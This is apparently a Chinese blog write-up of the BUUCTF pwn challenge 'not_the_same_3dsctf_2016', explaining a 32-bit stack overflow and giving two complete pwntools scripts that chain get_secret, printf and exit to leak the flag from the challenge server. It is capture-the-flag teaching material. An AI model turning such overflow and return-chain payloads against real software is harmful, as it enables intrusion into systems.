news 2026/5/1 10:38:56

buuctf中的not_the_same_3dsctf_2016

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的not_the_same_3dsctf_2016

首先checksec检查保护机制:

-32位程序

-仅开启了栈不可执行保护

然后使用IDA反汇编工具进行分析:

main函数中有栈溢出漏洞可利用,左边有get_secret函数,同时看出v4到栈底的偏移为45,原本需要填充49字节的垃圾数据,但是最终实验只需要45个字节的垃圾数据

这是get_secret函数内部:

这里打开了flag.txt文本文件,这几行代码的作用就是将flag.txt中的内容写入到fl4g这个变量中去,想就是flag了吧,但是发现我们还得自己去调用printf函数将fl4g的内容打印出来才能拿到flag

这里先拿到flag变量的地址:0x080ECA2D

get_secret函数的地址:0x080489A0

在IDA中找到printf函数的地址:0x0804F0A0

由于栈溢出执行完printf函数后需要正常退出才能打印出flag的值,所以还需用到exit函数的地址,同样在IDA中拿到:0x0804E660

这是exp攻击脚本:

payload需要先执行get_secret函数将flag读取到对应的变量中后我们再将这个变量的值printf出来

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 printf_addr = 0x0804F0A0 get_secret_addr = 0x080489A0 flag_addr = 0x080ECA2D exit_addr = 0x0804E660 offset = 45 payload = b'a'*offset + p32(get_secret_addr) +p32(printf_addr) + p32(exit_addr) + p32(flag_addr) io.sendline(payload) io.interactive()

在IDA中一个一个找函数的地址如果嫌太麻烦的话,攻击脚本还可以这样写:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 elf = ELF('./pwn') get_secret_addr = elf.symbols["get_secret"] printf_addr = elf.symbols["printf"] exit_addr = elf.symbols["exit"] flag_addr = 0x080ECA2D offset = 45 payload = b'a'*offset+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr) io.sendline(payload) io.interactive()

这是运行结果:

-成功打印出flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 10:37:19

A-47双麦语音模块:90dB降噪+全场景适配,重新定义清晰语音

在智能对讲的车库里,在轰鸣的生产车间中,在移动录音的现场上——模糊的语音、刺耳的回音、恼人的噪音,始终是阻碍设备体验升级的“拦路虎”。A-47双麦阵列回音消除及降噪模块(V2.0)的出现,以专业DSP芯片为核…

作者头像 李华
网站建设 2026/5/1 9:30:13

初探HarmonyOS应用

4.1 ArkUI 方舟UI框架 巩固夯实弹性布局相关语法 父 display: flex justify-content: center align-items:center 父加display:flex 子flex1 基本结构 html ​ head ​ body ​ .... ​ .... 项目结构 h xxxx.vue <template><template> <script setup><…

作者头像 李华
网站建设 2026/5/1 9:30:45

Video Download Helper 高级版:突破120分钟限制的专业视频下载神器

Video Download Helper 高级版&#xff1a;突破120分钟限制的专业视频下载神器 【免费下载链接】VideoDownloadHelper高级版-无120分钟时间限制 本仓库提供了一个名为 VideoDownloadHelper去除120分钟时间限制-高级版.zip 的资源文件。该文件是 Video Download Helper 的高级版…

作者头像 李华
网站建设 2026/4/23 18:45:54

pot-desktop跨平台翻译终极指南:从新手到高手

还在为阅读外文资料时频繁切换翻译软件而烦恼吗&#xff1f;是否想要一款真正免费、简单易用的跨平台翻译工具&#xff1f;pot-desktop正是为你量身打造的解决方案&#xff01;&#x1f680; 【免费下载链接】pot-desktop &#x1f308;一个跨平台的划词翻译和OCR软件 | A cros…

作者头像 李华
网站建设 2026/5/1 8:37:36

浏览器插件URL管理神器:Redirector使用完全指南

&#x1f50d; 你的浏览器URL管理遇到这些问题了吗&#xff1f; 【免费下载链接】Redirector Browser extension (Firefox, Chrome, Opera, Edge) to redirect urls based on regex patterns, like a client side mod_rewrite. 项目地址: https://gitcode.com/gh_mirrors/re/…

作者头像 李华
网站建设 2026/5/1 9:32:30

3步极速优化:AtlasOS让你的Windows系统重获新生

3步极速优化&#xff1a;AtlasOS让你的Windows系统重获新生 【免费下载链接】Atlas &#x1f680; An open and lightweight modification to Windows, designed to optimize performance, privacy and security. 项目地址: https://gitcode.com/GitHub_Trending/atlas1/Atla…

作者头像 李华